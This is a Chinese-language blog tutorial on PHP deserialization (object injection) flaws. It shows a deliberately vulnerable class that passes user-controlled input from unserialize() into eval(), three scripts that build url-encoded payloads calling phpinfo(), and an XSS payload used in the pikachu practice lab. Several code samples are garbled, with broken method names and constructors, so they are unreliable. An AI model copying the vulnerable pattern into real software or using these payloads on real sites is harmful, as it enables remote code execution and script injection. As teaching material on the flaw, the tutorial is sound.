PHP反序列化漏洞原理(附带pikachu靶场演示)

1.反序列化概念

  1. 序列化:是将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
  2. 反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用,就是序列化的逆过程。实现函数是unserialize()

直白一点就是:序列化是把对象转换成字节流,反序列化就是为了恢复到之前的状态,把字节流转换成对象的过程。

序列化数据格式

数据类型

序列化格式

解释

整数

i:42;

表示整数值为42

浮点数

d:3.14;

表示浮点数值为3.14

字符串

s:5:"hello";

表示字符串长度为5,内容为"hello"

空字符串

s:0:"";

表示一个空字符串

数组

a:3:{i:0;s:5:"apple";i:1;s:6:"banana";i:2;s:5:"cherry";}

表示包含3个元素的数组

关联数组(对象)

O:8:"stdClass":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;}

表示一个包含两个属性的对象

布尔值

b:1;b:0;

表示真(true)或假(false)

NULL

N;

表示空值

这个表格更详细地列出了各种数据类型在PHP中的序列化格式和相应的解释。

举个详细的例子:

输出结果:

O:8:"examlple":5:{s:6:"string";s:4:"test";s:17:" examlple integer";s:1:"1";s:7:" * null";s:4:"null";s:6:"double";s:3:"1.2";s:4:"bool";s:4:"True";}

反序列化漏洞

反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。

漏洞利用条件:

  1. unserialize()函数的参数可控。
  2. 存在可利用的魔术方法。

属性赋值

要利用反序列化漏洞,必须向unserialize()函数传入构造的序列化数据(定义合适的属性值)。那么,如

何构造序列化数据呢?

<?php
show_source( __FILE__);
error_reporting(0);
class DEMO{
public $func;
public $arg ;
public function safe(){
echo $this->arg;
}
public function evi0{
eval($this->arg);
}
public function run(){
$this->{$this->func}();
}
function_construct(){
$this->func ='evil';
}
}
$obj=unserialize($_GET['a']);
$obj->run();
?>

直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。

生成步骤:

  1. 把题目代码复制到本地;
  2. 注释掉与属性无关的内容(方法和没用的代码);
  3. 对属性赋值;
  4. 输出ur编码后的序列化数据:
  5. 将序列化数据发送到目标服务器。

进行URL编码的原因:

  1. 原始的序列化数据可能存在不可见字符;
  2. 如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行ur编码。

属性赋值的三种方法:

  1. 直接在属性中赋值:优点是方便,缺点是只能赋值字符串
<?phpClasS DEMO{
public $func='evi1';
public $arg='phpinfo();';
# public function safe(){
# echo $this->arg;
# }
# public function evil(){	
# eval($this->arg);
#}
# public function run(){
# $this->{$this->func}();
# }
#function_construct(){
# $this->func ='evil]':
# }
}
# $obj=unserialize($_GET['a']);
# $obj->run();
echo(urlencode(serialize(new DEMO())));
?>

2.外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。

<?php
Class DEMO{
public $func;
public $arg ;
}
$o = neW DEMO();
$o->func ='evil';
$o->arg ='phpinfo();';
echo(urlencode(serialize($o)));

3.构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦

<?phpClass DEMO{
public $func;
public $arg ;
function_construct(){
$this->func ='evil';
$this->arg='phpinfo();';
}
}
$o = new DEMO();
echo(urlencode(serialize($o)));

魔术方法

魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见

的魔术方法有:

漏洞利用

此处以pikachu为例

输入一个正常的序列化数据O:1:"S":1:{s:4:"test";s:7:"pikachu";}

输入构造好的xss

O:1:"S":1:{s:4:"test";s:30:"<script>alert('11')</script>";}

成功弹框

  • 29
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

nuc_ddddsj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值